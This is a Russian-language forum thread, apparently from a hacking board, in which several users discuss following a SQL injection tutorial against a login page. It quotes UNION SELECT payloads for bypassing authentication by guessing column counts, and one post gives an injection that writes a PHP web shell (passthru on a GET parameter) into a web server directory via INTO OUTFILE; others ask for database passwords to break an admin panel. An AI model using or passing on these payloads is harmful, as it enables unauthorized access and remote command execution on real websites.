[Статья] SQL инъекция

[Calypso]

Цитата: Сообщение от Underwhy ошибка должна быть. Жмем в адресной строке отправить - logout прошел. Теперь надо выяснить, сколько столбцов запрашивается в скрипте логина (что бы сделать нормальный union). Идем на страницу логина, в поле логина пишем так: dsafasd'union select 1,2,3# пароль пишем любой, жмем логин - не пустило, Access filed. Пытаемся с таким логином: dsafasd'union select 1,2,3,4#Опять не пустило. Продолжаем перебор, пока логин не пройдет. C логином dsafasd'union select 1,2,3,4,5,6# получилось войти. повыделяй облась выше этого поля. Обычно ошибка написана цветом фона

Хммм подскажите,дошол до того как зайти... Зашол но ошибки сверху не вылезли что делать?

[wildking]

В общем вошел

[Ссылки могут видеть только зарегистрированные пользователи. ]

Но запросом

PHP код:

sdfasd'union select null,null,null,null,null,'<?php passthru($_GET["cmd"]); ?>' into outfile 'c:\xampp\htdocs\acm/class.php'#

[Ссылки могут видеть только зарегистрированные пользователи. ]

шелл не записывает. Что с путями не так ?

[S.e.n.s.o.R]

А я никак не могу поломать админку [Ссылки могут видеть только зарегистрированные пользователи. ]
ктонить по-братски скажите логин и пасс от мускуля, или скажите как тут быть? Я сам посиотрю...Я прост первый раз иньку юзаю

[[Cemik]]

пробую подбор ничего не выходит пишет Login Failed